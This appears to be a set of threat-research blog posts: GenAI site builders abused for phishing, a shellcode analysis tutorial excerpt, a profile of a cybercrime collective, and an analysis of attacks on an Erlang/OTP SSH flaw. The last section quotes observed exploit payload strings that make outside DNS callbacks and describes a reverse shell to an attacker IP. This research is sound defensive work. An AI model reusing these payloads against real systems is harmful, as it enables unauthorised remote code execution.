Fashionable Phishing Bait: GenAI on the Hook

Posted on by Samantha Stallings

Executive Summary

The rapid expansion of generative AI (GenAI) has led to a diverse set of web-based platforms offering capabilities such as code assistance, natural language generation, chatbot interaction and automated website creation. This article uses insights from our telemetry to show trends in how the GenAI web is evolving.

Because of its growing prevalence, GenAI also opens new vectors for threat actors to misuse. Adversaries are increasingly leveraging GenAI platforms to create realistic phishing content, clone trusted brands and automate large-scale deployment using services like low-code site builders. The threats are getting harder to detect.

We examine specific misuse scenarios including AI-generated phishing pages and malicious chatbots. We also provide indicators of these activities to support detection and response efforts.

Palo Alto Networks customers are better protected from the threats described in this article by the following products and services:

Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics GenAI, Phishing

Increase in the Use of GenAI

Introduction to Web-Based AI Services

GenAI has fueled a surge of new websites and platforms, from conversational assistants to multi-media creation tools. As the ecosystem evolves, we identify emerging patterns in how people are adopting different categories of AI services.

Writing assistants, meeting tools, code generators and website builders are streamlining tasks that previously demanded substantial manual effort, signaling a shift in how work is created and delivered across domains.These AI tools streamline workflows, reduce manual effort and enable new forms of content creation.

We are observing a significant upward trend in GenAI adoption across industries, particularly following the surge of public interest and innovation in the AI space. Within just six months, AI use has more than doubled and continues to grow steadily, as shown in Figure 1.

The blue line represents the number of AI website visits in billions, from April 2024-April 2025. The red bars indicate the number of new websites hosting AI services detected in millions. This overall trend of increased traffic to AI websites indicates a growing adoption of GenAI applications and services.

Bar chart and line graph showing new AI host launches in millions and AI website visits in billions from 2024-04 to 2025-04. Host launches visualized by red bars and website visits by a blue line. Palo Alto Networks and Unit 42 logo lockup.
Figure 1. Month-over-month trends in AI website traffic and growth from April 2024 to April 2025.

AI Service Trends and Industry Focus

We discuss how people are adopting AI-specific capabilities so we can better predict how those various functions can introduce new risks. A further review of our telemetry reveals:

  • The top industries leading AI adoption include:
    • High tech
    • Education
    • Telecommunications
    • Professional and legal services
  • The high tech sector dominates AI use, accounting for over 70% of total GenAI tool use shown in Figure 2
  • Most of this activity is concentrated in text-generation applications (such as writing assistants and AI chatbots) and media-generation tools, as shown in Figure 3
  • About 16% of AI service use is dedicated to data processing and workflow automation, such as email campaign generation
Pie chart showing sector distribution for AI services. 'High Tech' sector dominates at 74.0%, followed by 'Other' at 3.3%, 'State and local government' at less than 1%, 'Manufacturing' at 1.50%, 'Wholesale & Retail' at 1.2%, 'Professional & Legal Services' at 3.1%, and 'Telecommunications' at 5.6%. 'Education' is at 9.1%. Palo Alto Networks and Unit 42 logo lockup.
Figure 3. Distribution of AI categories across all industries.
Pie chart showing the distribution of tasks managed by AI technologies. Segments include Media Generator at 24.5%, AI Data and Workflow at 15.8%, Chatbot at 13.2%, Code Assistant at 2.5%, Meeting Assistant at 1.3%, Website Generator at 4.3%, AI Platform & Service at 6.6%, and Writing Assistant at 31.8%. Palo Alto Networks and Unit 42 logo lockup.
Figure 3. Distribution of AI categories across all industries.

Overview of Phishing Attacks Misusing Various Types of AI Services

While GenAI tools offer powerful capabilities, they also introduce significant risks that threat actors can exploit for phishing and other types of cyberattacks.

  • AI code assistants can significantly enhance software development. They provide real-time coding suggestions, automate code generation and can reduce errors. However, they can inadvertently expose proprietary code or sensitive intellectual property, creating entry points for targeted attacks.
  • Text generation tools — such as conversational, writing and meeting assistants — can enhance productivity, content creation and customer interaction. However, attackers can manipulate them to generate convincing phishing content, spread misinformation or leak confidential data.
  • AI model services simplify deployment, training and inference. However, they can expose sensitive models or data to unauthorized access. This increases the risk of model hijacking or misuse in malicious workflows.
  • Attackers can use multi-media AI tools — including media generators and website builders — to rapidly create realistic-looking but fraudulent websites, deepfake content and deceptive phishing pages to mimic trusted brands.
  • AI-powered data platforms and workflow automation tools optimize business processes, improve efficiency and support informed decision-making. When loosely governed, they can become vectors for data leakage, unauthorized access and automated exploitation across integrated systems.

Collectively, these risks underscore the potential of GenAI to amplify phishing campaigns and other social engineering threats. Therefore, stronger safeguards and threat detection are necessary.

Figure 4 shows the top three AI services misused for phishing include:

  • Website generators (approximately 40%)
  • Writing assistants (approximately 30%)
  • Chatbots (almost 11%)
Pie chart showing the distribution of AI services misused for phishing attacks. 'Website generator' leads with 40.4%, followed by 'Writing assistant' at 29.6%, 'Chatbot' at 10.5%, 'Media generator' at 8.4%, 'AI platform and service' at 4.1%, 'Meeting assistant' at 3.5%, 'AI data and workflow' at 3.2%, and 'Code assistant' with 0.3%. Palo Alto Networks and Unit 42 logo lockup.
Figure 4. Distribution of categories of AI services misused for phishing attacks.

Misuse of Website Generation Services

Although these services are relatively new, attackers are already misusing AI-powered website builders for real-world phishing attacks.

We observed phishing websites that threat actors created using a popular AI-powered website builder, which is capable of producing websites within seconds. This platform allows someone to enter a prompt that can build and publish websites without any email or phone verification. The site uses AI to generate images and text based on this prompt, for creating a website.

We detected two real-world examples of AI-generated phishing landing pages in May 2025. Both of these phishing pages, shown in Figures 5 and 6, link to attacker-owned credential-stealing sites.

Promotional webpage featuring a "FREE COUPON" to unlock a 12-month Standard Plan at 100% off, with a button labeled 'Show Coupon Code' followed by another button that says 'Click here'. The background includes a blurred image of shapes in red and black.
Figure 5. Screenshot of the phishing page seen in May 2025.
Screenshot of a website's 'Gift Card' promotional page showing three blurred images of cards with text overlays that promote different shopping benefits. The navigation menu includes options for Home, About, Products, and Contact.
Figure 6. Screenshot of the phishing page seen in May 2025.

Some of the AI-assisted website builders we investigated appear to lack guardrails that would prevent someone from impersonating an existing business or organization. As a test, we used a known AI-assisted website builder to create a fake page to appear as if it’s for Palo Alto Networks.

The website builder only required a valid email address (not necessarily a Palo Alto Networks email address) to establish a trial account and publish a page impersonating our company. Since these pages are intended to quickly establish a web presence for a new company or organization, they lack the design elements that criminals would otherwise use to spoof a targeted brand.

In our test, the website builder promised to generate a free AI website in 60 seconds, which is an accurate statement. Our only input was a brief description of the company for an initial text prompt. Figure 7 shows a brief description of Palo Alto Networks we typed in the initial prompt before clicking on the “Enhance Prompt” button.

Website builder using AI. Generate a free AI website in 60 seconds. Below is a prompt window with the input "Palo Alto Networks is a leading cybersecurity company that has next generation firewalls and other security solutions. A giant cursor is about to select the Enhance Prompt button.
Figure 7. A brief description of our company in a prompt from the AI-assisted website builder.

The Enhance Prompt button took our initial input and created a complete AI prompt for the page, as shown below in Figure 8. The finished prompt included an AI-generated paragraph about the company, a default design style that can easily be modified and a list of content to include on the site.

Screenshot of a webpage with text describing Palo Alto Networks' commitment to innovation and cybersecurity, featuring a section on business/project name alongside company's mission and services. Cursor is hovering over the up arrow on the right.
Figure 8. The enhanced prompt from the AI-assisted website builder.

We then clicked on the arrow button noted in Figure 8, and the builder took approximately 5-10 seconds to create a staging environment for the site. From a hastily typed initial prompt of “Palo Alto Networks is a leading cybersecurity company that has next-generation firewalls and other security solutions,” the resulting page Figure 9 shows looks plausible for a cybersecurity company.

A professional at a workstation with multiple screens displaying data, on the fake and AI-generated Palo Alto Networks website, with text that reads "Cybersecurity redefined - Protect your assets with confidence" and a "View Services" button.
Figure 9. Index page generated by the AI-assisted website builder.

Scrolling through the index page generated by the site builder, we found a convincing AI-generated description of our company, as shown in Figure 10.

Fake AI-generated homepage of Palo Alto Networks website featuring a professional in front of digital screens, with text about leading cybersecurity solutions.
Figure 10. Company description in a page generated by the AI-assisted website builder.

The index page included links to different pages that contain descriptions of next-generation firewalls, cloud security solutions and threat intelligence services. Figure 11 shows a link from the index page for threat intelligence services and the resulting page from that link. Like the company description, the description of these services mimics what most people would expect from an established cybersecurity company.

Screenshot collage of fake AI-generated Palo Alto Networks website featuring sections on cloud security, threat intelligence, and advanced threat protection services with images of network security operations and descriptive text about cybersecurity solutions.
Figure 11. Threat intelligence services page generated by the AI-assisted website builder.

The website builder includes a button to publish the site. Pushing this button generated the dialogue window shown in Figure 12.

A screenshot of a website editor interface from the fake AI-generated Palo Alto Networks, showing a pop-up window titled "Publish website." The pop-up prompts the user to add a custom domain with pricing information and subscription plans. Buttons for "View plans," "Cancel," and "Publish" are visible.
Figure 12. Dialogue window to publish the site from our test.

While we did not publish this fake Palo Alto Networks site, cybercriminals have misused this builder to publish phishing pages mimicking other brands, such as the two real-world examples we previously referenced.

Attackers can replicate similar attack vectors on other website builder platforms since many of these platforms have recently added AI-assisted features. Figure 13 shows an example of a fake gift card site spoofing popular vendors created through a popular website builder.

Promotional website banner for gift card scam website saying 'Joy in Every Card' featuring the 'Explore' button and an image of a hand holding a glowing card. Below are displayed various card offerings including Store Credit, Discount Voucher, Gift Card, and Subscription Credit with listed prices.
Figure 13. Webpage for discounted gift cards generated on another popular AI-powered website builder.

Currently, the real-world phishing attacks seen on AI-powered website builders appear relatively rudimentary and might not deceive most potential victims. However, in the medium to long term, we expect that these attacks will become more convincing as AI-powered website builders grow more powerful.

Misuse of Writing Assistant Services

In addition to website builders, we identified multiple real-world phishing URLs generated and hosted on third-party AI writing assistant platforms. In all these cases, the attacker used the app to host a phishing page. The phishing page displays a generic message like “You have new documents — click the button to view.” Clicking the button leads the victim to a secondary credential-stealing site, such as a fake Microsoft login page.

Despite being hosted on platforms that offer AI-powered content generation, these phishing pages are quite simple and show no clear signs of AI involvement (see Figures 14 and 15). This type of activity is similar to what we’ve seen in software as service (SaaS) platform misuse campaigns, such as phishing pages hosted on presentation builders or other legitimate content-sharing tools.

Screenshot of a digital document sharing interface titled "SECURE BUSINESS DOCUMENTS. Features include a link to "VIEW PDF ONLINE" and additional sections for login, author details, and an activation reminder for Windows.
Figure 14. Screenshot of a phishing page created on an SEO assistant platform.
Screenshot of document sharing service with a PDF document ready to be shared. There is a button labeled "VIEW DOCUMENT," followed by a signature from someone purported to be "Kim Cromidas" with some information redacted for security reasons.
Figure 15. Screenshot of the phishing page created on a sales assistant platform.

While attackers might leverage the AI functionality of these platforms in more powerful ways in the future, they are currently using these platforms primarily as a hosting service for malicious content.

Conclusion

In this article, we discussed web-based GenAI services and reviewed phishing attacks that misused them. We investigated examples of phishing pages from AI-powered website builders, and explored how criminals can use these builders to create phishing content more easily. Criminals have also misused AI-powered writing assistant services, but these platforms have been used primarily as a hosting service for malicious content with no clear signs of AI involvement.

Our telemetry reflects the growing adoption of GenAI applications and services, and we expect a corresponding increase in attacks that take advantage of GenAI as time passes.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Acknowledgments

Thanks to Peng Peng for his research into malicious chatbots, as well as Alex Starov and Jun Javier Wang for their suggestions.

Appendix

Additional screenshots of GenAI-related phishing pages we found in the wild are shown in Figures 16-22.

Website header displaying a "Free Coupon" banner, featuring images of a wooden table with European currency notes beside a box with pine cones, with text encouraging to "Unlock your savings today!"
Figure 16. An additional screenshot of the phishing site from Figure 5.
Background of densely arranged pages, possibly documents or forms, with an overlay text saying "SECURE DOCUMENT" and a button labeled "VIEW DOCUMENT".
Figure 17. Screenshot of a phishing page hosted on an AI-powered website platform initially sent via a phishing email. This webpage links to a fake login page for a popular web-based service.
Collage of six images depicting various technology and lifestyle products on sale. The prices range from $1 to $20.
Figure 18. Spoofed gift card shopping page generated on a website builder.
A notification on a computer screen displaying a message titled "New Completed PDF Document Received." The email informs the recipient of a new PDF document ready for review and includes a red "Review Completed Documents" button.
Figure 19. Screenshot of a phishing page generated using an AI-powered design assistant site.
A notification on a computer screen displaying a message titled "New Completed PDF Document Received." The email informs the recipient of a new PDF document ready for review and includes a red "Review Completed Documents" button.
Figure 20. Screenshot of a phishing page generated on an AI-powered design assistant site.
Phishing page screenshot showing a car, TVs, and other items with a KLIK CEK KUPON button.
Figure 21. Screenshot of a landing phishing page generated on a no-code app builder.
Phishing page screenshot showing a message that reads "You Have 2 New Fax Documents" with an option to "Get Your Files Here." The format is PDF and the status is delivered. The interface includes colorful icons and buttons.
Figure 22. Screenshot of a phishing page generated on an AI-powered educational platform.

A Mega Malware Analysis Tutorial Featuring Donut-Generated Shellcode

Posted on by Samantha Stallings

Executive Summary

We created an in-depth malware analysis tutorial featuring shellcode generated by a tool named Donut. The tutorial walks through a single infection chain from end to end, starting with a sample, and assuming no prior knowledge of the malware in question.

By the end of the tutorial, readers will better understand many components of the infection chain and identify the family of the final payload. The tutorial is designed to be a beginner-friendly lesson for those who understand the basics of malware analysis but have yet to analyze many samples in the wild on their own.

With the help of this tutorial, we hope that readers will:

  • Become familiar with common malware analysis tools like dnSpy, IDA Pro, x64dbg and ProcessHacker
  • Learn how to leverage both static and dynamic analysis to form a complete picture of malware behavior
  • Recognize common techniques used by malware in its natural context, such as:
    • Dynamic API resolution
    • Process injection
    • Bypassing AMSI by using memory patching
  • Gain insight on how malware analysts at Palo Alto Networks might approach an unknown sample in their daily operations

The infection chain in this tutorial is composed of different stages, each playing a different role. These stages include downloading the initial malware, hiding traces of malicious activity and dropping the final payload.

Along the way, we record every step in our analysis, and we explain our thought process behind each decision. We explain not only what the malware sample is doing, but also the reasons why a malware sample might do the observed activity.

Due to the large size of the tutorial, we have included a small excerpt in this article as a preview. To read the tutorial in its entirety, please view it on our GitHub page.

Palo Alto Networks customers are better protected from the malware reviewed in this tutorial through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Shellcode, Static Analysis

Excerpt of Donut Malware Analysis Tutorial

This excerpt features the analysis of an unknown function in the Donut-generated shellcode used during the attack chain. The analysis helps explain some basic techniques using IDA Pro as a disassembler and decompiler and x64dbg as a debugger.

The screenshot below shows the decompiled shellcode in IDA Pro. The unknown function is sub_10A31A, highlighted in a red box in Figure 1. This unknown function does not take any arguments.

Screenshot of computer code in an IDE, highlighting function definitions and calls, with specific lines marked in red to indicate errors or warnings.
Figure 1. Decompiled shellcode viewed in IDA Pro.

Using x64dbg as a debugger for this shellcode, we can view the content of the EAX register from the sub_10A31A function. The EAX register merely returns the address of the function, which is 06CDA31 as Figure 2 shows.

Text displaying two alphanumeric codes, "EAX" in red and "06CDA31A" in red.
Figure 2. The return value of sub_10A31A.

Figure 3 below shows the decompiled code of the sub_10A31A function.

Screenshot of a simple C programming code involving a function. The function is defined to return an integer and involves pointer operations.
Figure 3. The decompiled code of sub_10A31A.

This function is extremely simple because it just returns the address of the function, so it matches what we just observed in x64dbg. But what is the purpose of returning the address of the function? Let’s return to the debugger to find some clues.

Stepping through the shellcode in x64dbg, the Extended Instruction Pointer (EIP) is on the first instruction, call 6CDA31A as shown below in Figure 4. The operand of the call instruction, 6CDA31A, is the address of the sub_10A31A function.

Screenshot of a computer debug screen highlighting code operations with assembly language, including call and mov instructions, and memory addresses in hexadecimal notation. The first line is highlighted.
Figure 4. The call to sub_10A31A as shown in x64dbg.

This function calls the instructions starting at 0x06CDA31A. Figure 5 below shows these instructions.

Screenshot of a segment of computer code, highlighting various operations and memory addresses in different colors.
Figure 5. Instructions at 0x06CDA31A shown in x64dbg.

We can find the same instructions for this function by viewing the shellcode in IDA. However, IDA shows the same instruction as call $+5 in the disassembled code as Figure 6 below shows, in the red box.

Screenshot of computer code in an IDE, highlighting a subroutine call at an address with 'call' command in red text.
Figure 6. The assembly instructions of sub_10A31A in IDA.

Let’s break down the call $+5 instruction shown in IDA:

  • $+5 just means “the current address (EIP) plus 5.” With a value of E8 00 00 00 00, the full call instruction is 5 bytes, so $+5 effectively refers to the instruction immediately after the call instruction (i.e., the address of the pop eax instruction).
  • call pushes the return address (i.e., the address right after the call instruction) onto the stack and jumps to the operand of the call instruction.

Putting these two facts together, call $+5 means “push the address immediately after the call instruction onto the stack and then jump to that address.”

This might seem like a very roundabout way of pushing the address of the next instruction onto the stack, but the x86 instruction set does not provide a more straightforward way of doing so. An instruction like push eip+5 is not valid, as EIP cannot be used directly as an operand.

Let’s turn our attention back to the debugger to observe this in action. The instruction call 6CDA31F pushes 0x06CDA31F onto the stack and then jumps to 0x6CDA31F as shown in Figure 7.

Image showing a computer screen with hexadecimal code and arrow indicators highlighting specific segments of the code in different colors.
Figure 7. The operand of the call instruction is also the address of the next instruction.

Now that 0x06CDA31F is on the stack, it gets stored in the EAX register with the pop eax instruction as shown in Figure 8.

Text displaying "EAX 06CDA31F" in red on a white background.
Figure 8. EAX after the pop eax instruction.

And then we subtract 5 from 0x06CDA31F with the sub eax, 5 instruction as shown in Figure 9.

Text displaying two alphanumeric codes, "EAX" in red and "06CDA31A" in red.
Figure 9. EAX after the sub eax, 5 instruction.

As we observed when we first stepped over sub_10A31A, the result is that 0x06CDA31A gets stored in EAX.

The sequence of instructions inside sub_10A31A is commonly used to implement PC-relative addressing and allows the shellcode to be position-independent. Why is this important? Just like any program, malware may have some resources that it needs to access.

Resources can be accessed via absolute addresses or an offset relative to a base address. Regular PE files can access resources using absolute addresses because the PE loader applies relocation adjustments if the program is loaded into a memory region different from its preferred base address. However, shellcode doesn’t have this capability and thus must rely on relative addresses.

By calling sub_10A31A, the shellcode can access the resources it needs by using an offset relative to the address of sub_10A31A in memory. We can then look at the decompiled code in Figure 10 to see how it’s used. The address returned by sub_10A31A (which we’ll now call get_pc) is used in the second argument of memcpy to access the address of the source buffer.

Screenshot of computer code in an IDE, featuring functions and parameters highlighted in red and blue.
Figure 10. The decompiled code after renaming sub_10A31A.

Conclusion

Analyzing malware is a very detailed and complex process. Through the full tutorial, we hope to help others improve their skills in malware analysis through a step-by-step analysis of an infection chain.

If you found this excerpt interesting, please read the full tutorial. Happy analyzing!

Palo Alto Networks customers are better protected from the shellcode discussed in this article through the following products:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

  • SHA256 hash: d2bea59a4fc304fa0249321ccc0667f595f0cfac64fd0d7ac09b297465cda0c4
  • File size: 1,092,149 bytes
  • File type: Data
  • File description: Decrypted Donut-generated shellcode

Additional Resources

 

Muddled Libra’s Strike Teams: Amalgamated Evil

Posted on by Ria Bhatia

Many From One

It’s disingenuous to consider Muddled Libra like a traditional monolithic attack group, one with defined structure and clear lines of leadership. Muddled Libra, Scattered Spider, Octo Tempest or any of the many other names the group is labeled with is not an organized entity but a loose collaboration of like-minded cybercriminals, or personas, with common interests tethered by social chat applications.

Interrelated Strike Teams

Muddled Libra personas converge into strike teams, each with their own unique skillsets, tradecraft and objectives in tow. Since late 2022, Unit 42 has tracked at least seven distinct teams. Though in reality distinction means very little as personas enter, exit and flow from team to team. Instead, what defines a team is the combination of what they're after and the unique ways in which they go after it.

While the fluidity of this model complicates tracking, it also creates unique opportunities for threat researchers. Unlike the homogeneous, mostly faceless operations of traditional cybercrime groups, members of these small teams inherently leave their fingerprints on each attack; distinct fingerprints that become signature tradecraft.

Over time successful tradecraft is shared, learned and incorporated by other personas into their own fingerprints. By studying incident response engagements, threat intelligence researchers can walk this development back and begin profiling personas and their interdependent relationships. This allows the creation of predictive models, ultimately leading to effective controls and mitigations against future attacks.

Theory in Practice

In the teams we track related to this attack cluster, we find patterns not only in tradecraft but also objective. That is not to say these teams’ tradecraft and objectives remain static, but that they tend to evolve in a predictable way that indicates relatively consistent and known personas.

Most early teams were hyper-focused on cryptocurrency theft and have never wavered, while others started out with cryptocurrency in mind but shifted to less complex and more volume-friendly objectives. The supply chain for the cryptocurrency industry is far-reaching and includes business process outsourcing, mass marketing, telecommunications, authentication providers and many other verticals. Many organizations in these industries have essentially been collateral damage along the way as strike teams identified and hunted cryptocurrency “whales” – large, valuable targets.

With each success, teams have learned, matured and multiplied. New personas enter the fray and others are arrested or fade away. Attack teams have expanded far from cryptocurrency and into a staggering breadth of industries.

  • There are strike teams focused on stealing unique intellectual property for bragging rights that have targeted media and software development firms.
  • Extortion-oriented teams use common ransomware-as-a-service affiliate playbooks with widespread asset destruction and encryption. These teams typically target organizations in high-availability verticals like retail and entertainment.
  • Some teams simply aim to harvest credentials directly from consumers that can be quickly flipped on the dark web; low-complexity attacks like these frequently target individuals.
  • A few teams are engaging in mass information harvesting. Valuable personal data is stolen that can later be stitched together to invasively profile high-value targets. Attackers focus on organizations that have unique and highly private data like those in the financial, retail and transportation industries.
Bar chart displaying the industry distribution within seven teams, with industries labeled as Telecommunications, SaaS, Retail, Media, Marketing, Hospitality, Government, Gambling, Finance, and Business Process Outsourcing. Each team's bar is segmented by color to represent different industries.
Figure 1. Seven teams associated with Muddled Libra and the differences in their targeting.

The fluid nature of Muddled Libra attack teams make it a fool’s errand to predict what industry will be targeted next. Instead, defenders should focus on what they have that the group is likely to be after and who might be impacted.

For example, consider data theft or direct extortion and work backward from there. If your organization has troves of personal data, take a deep look at how to classify and protect it appropriately based on its value. Restrictive access control, data retention policies, data loss prevention and segmentation all go a long way toward ensuring your data is not used as a weapon against you.

Extortionists typically threaten to leak stolen data, disrupt critical business operations, or both. Effective business continuity and disaster recovery planning can help shield key business assets from destruction or ransomware.

If your organization is consumer facing, consider how you can better authenticate your customers and protect them from having their credentials compromised and used against them.

Strike teams will continue to form, developing new techniques and branching into new industries. Don’t lose sight of the forest (a broader goal of a robust security program based on risk and defense-in-depth strategies) for the sake of analyzing the trees (the specific tactics, techniques and procedures or targets currently popular with individual Muddled Libra strike teams).

If your organization could benefit from assistance evaluating your readiness, consider reaching out for a Cyber Risk Assessment or other proactive services from Unit 42.

Updated on Aug. 28, 2025, at 2:34 p.m. PT to add missing data to Figure 1.

Keys to the Kingdom: Erlang/OTP SSH Vulnerability Analysis and Exploits Observed in the Wild

Posted on by Cecilia Hu

Executive Summary

This article presents our observations of exploit attempts targeting CVE-2025-32433. This vulnerability allows unauthenticated remote code execution (RCE) in the Secure Shell (SSH) daemon (sshd) from certain versions of the Erlang programming language's Open Telecom Platform (OTP).

Erlang/OTP sshd is widely used in critical infrastructure and operational technology (OT) networks.With a CVSS score of 10.0, CVE-2025-32433 enables unauthenticated clients to execute commands by sending SSH connection protocol messages (codes >= 80) to open SSH ports, which should only be processed after successful authentication. Vulnerable versions include Erlang/OTP prior to OTP-27.3.3, OTP-26.2.5.11 and OTP-25.3.2.20.

A patch is available in Erlang/OTP versions OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 and later.

We have reproduced, validated and analyzed this vulnerability to better understand its impact and provide detection strategies. We observed a significant increase in exploitation activity targeting this vulnerability from May 1-9, 2025, with 70% of our detections originating from firewalls protecting global operational technology (OT) networks.

This analysis includes telemetry data showing geographic distribution and trends as well as the industries affected by this vulnerability.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Vulnerabilities Discussed CVE-2025-32433

Details of the Vulnerability

Erlang is a programming language designed for building concurrent systems where multiple connections are needed simultaneously. Its companion framework, the Open Telecom Platform (OTP), has long been trusted in critical infrastructure from telecommunications networks to financial systems.

OT and 5G environments use Erlang/OTP due to its fault-tolerance and scalability for high availability systems with minimal downtime. Due to compliance and safety requirements, OT and 5G administrators tend to use Erlang/OTP's native SSH implementation to remotely manage hosts, which makes CVE-2025-32433 a particular concern in these types of networks.

At the heart of Erlang/OTP’s secure communication capabilities lies its native SSH implementation — responsible for encrypted connections, file transfers and most importantly, command execution. A flaw in this implementation would allow an attacker with network access to execute arbitrary code on vulnerable systems without requiring credentials, presenting a direct and severe risk to exposed assets.

Analyzing global internet scanning data from Cortex Xpanse in April 2025, we saw vulnerable Erlang/OTP SSH services were widely exposed on the internet using different TCP ports. This included TCP port 2222, which is commonly used for communications with older industrial automation components and sometimes used by the Ethernet/IP implicit messaging protocol.

CVE-2025-32433 is inferred from SSH versions tied to Erlang/OTP releases. This widespread exposure on industrial-specific ports indicates a significant global attack surface across OT networks. Analysis of affected industries demonstrates variance in the attacks.

In our telemetry, we saw that the following industries were disproportionately affected, with over 85% of exploit attempts being triggered directly on their OT firewalls:

  • Healthcare
  • Agriculture
  • Media and entertainment
  • High technology

Despite high OT reliance, utilities and energy, mining, and aerospace and defense showed no direct OT triggers for this specific threat.

Sectors like professional and legal services primarily saw triggers on their IT networks. Industries such as manufacturing, wholesale and retail, and financial services experienced more balanced detection across both IT and OT, necessitating integrated defenses.

Scope of Exploitation Attempts Targeting CVE-2025-32433

Our telemetry confirms active exploitation attempts of CVE-2025-32433. Our sensors have detected exploit attempts targeting this vulnerability across multiple industries, with the earliest observation occurring on May 1, 2025.

We identified several malicious payloads being delivered through CVE-2025-32433 exploit attempts. A commonly observed technique uses reverse shells to gain unauthorized remote access. Two examples seen in the wild include the following payloads.

Payload 1

File descriptors are used to create a TCP connection and bind it to a shell, allowing interactive command execution over the network, as shown in Figure 1.

Screenshot of a TCP steam with network address and port details visible.
Figure 1. TCP connection creation.

Payload 2

Figure 2 shows a simpler variant that initiates a reverse shell using Bash's interactive mode and redirects the shell's input and output directly to a remote host at 146.103.40[.]203:6667. This port is commonly associated with remote control servers used for botnet communications.

Screenshot of a TCP steam with network address and port details visible.
Figure 2. Remote host redirect.

Threat Infrastructure Insights

Our investigation into DNS telemetry was driven by DNS-based indicators we discovered during our payload analysis of exploitation attempts targeting CVE-2025-32433. Several payloads contained commands attempting DNS lookups of long, randomly generated subdomains under dns.outbound.watchtowr[.]com:

  • execSinet:gethostbyname("d0am3pi3pgl6h3t9mkp0qt3zn9p1izwso.dns.outbound.watchtowr[.]com").Zsession
  • execSinet:gethostbyname("d0a3qn23pglekp6ckgtge8xxfd14a8ouk.dns.outbound.watchtowr[.]com").Zsession
  • execSinet:gethostbyname("d09idt23pgl3db0en3dgeam6i45tpc6bg.dns.outbound.watchtowr[.]com").Zsession

These payloads also provide clear signs of Out-of-Band Application Security Testing (OAST). Specifically, DNS lookups to randomized subdomains under dns.outbound.watchtowr[.]com were triggered using gethostbyname() calls — a common tactic in blind RCE or exfiltration testing.

These payloads are designed not to return results directly, but to validate execution via external DNS resolutions that the attacker monitors. This approach is widely used in stealthy campaigns, red team assessments and automated scanning frameworks.

Scope of the Activity

We conducted a multi-source analysis to understand how attackers attempt exploitation of CVE-2025-32433 in real-world environments. This analysis highlights the geographic distribution of vulnerable systems, exploit activity across key industry sectors and evolving trends over time.

Exposure Surface Analysis

Cortex Xpanse revealed 275 distinct hosts and 326 distinct Erlang/OTP services that were publicly routable on the internet between April 16 and May 9, 2025. The countries observed to host the most Erlang/OTP servers are the U.S., Brazil and France.

Cortex Xpanse scans showed that Erlang/OTP services are widely exposed and vulnerable on industrial networks. Figure 3 below shows the services found on TCP ports like 830, 2022 and 22.

Bar chart showing the distribution of observed Erlang/OTP server ports and their exposure status labeled as 'Vulnerable' or 'Not Vulnerable' in Cortex XPANSE. The columns included on the right detail the port numbers, SSH version, if they are vulnerable, and the number of hosts.
Figure 3. Port and vulnerability exposure of Erlang/OTP services.

The group of exposed ports includes TCP port 2222. This port is also sometimes used by Ethernet/IP implicit messaging, highlighting a direct bridge between IT-centric software vulnerabilities and the operational heart of industrial control systems.

This overlap highlights the following:

  • Attack surface convergence
    The blurred boundary between IT and OT systems, where a software vulnerability in an IT-facing protocol such as Erlang/OTP, could share network space — or even ports — with industrial control system traffic.
  • Increased exploitability
    Attackers scanning for exploitable Erlang/OTP services could inadvertently or intentionally interact with exposed industrial control systems (ICS) devices, creating opportunities for pivoting into OT environments, especially where network segmentation is weak.

Geographic Distribution of Exploit Attempts

After the vulnerability was published on April 16, 2025, we began to detect exploit attempts from a few countries, as shown below in Figures 4 and 5. Figure 4 represents the total number of CVE-2025-32433 signatures triggered by all firewalls in a given country. Figure 5 represents signature triggers specifically from firewalls identified as being within OT networks.

Heat map showing various countries colored in shades of teal to red, representing data with a scale from 1 to 2,693. Low instances are teal and high instances are red. The United States is entirely red. The only country with slight variation is Japan.
Figure 4. All network victim geolocation.
Heat map highlighting countries in varying shades of blue and red, indicating different data values ranging from 1 to 1,916. The Unite States is entirely red.
Figure 5. OT network victim geolocation.

Out of a total of 3,376 CVE-2025-32433 signatures triggered globally, 2,363 (approximately 70%) originated from firewalls protecting OT networks. While the figures might appear the same, South America and Scandinavia showed minimal or no OT-related exploit activity despite broader exploitation elsewhere — indicating either better segmentation, slower adoption of vulnerable stacks or detection gaps.

Countries With High OT Correlation:

  • Japan: 99.74% of its CVE-2025-32433 signatures originated from OT networks
  • U.S.: Despite a lower percentage (71.15%) compared to Japan, the volume of signatures in the U.S. (1916 within OT) signifies a great number of potential incidents affecting American industrial systems
  • The Netherlands, Ireland, Brazil and Ecuador: For these countries, 100% of observed CVE-2025-32433 signature triggers occurred within OT environments
  • France: This country had a significant OT impact at 66.67% of observed signature triggers

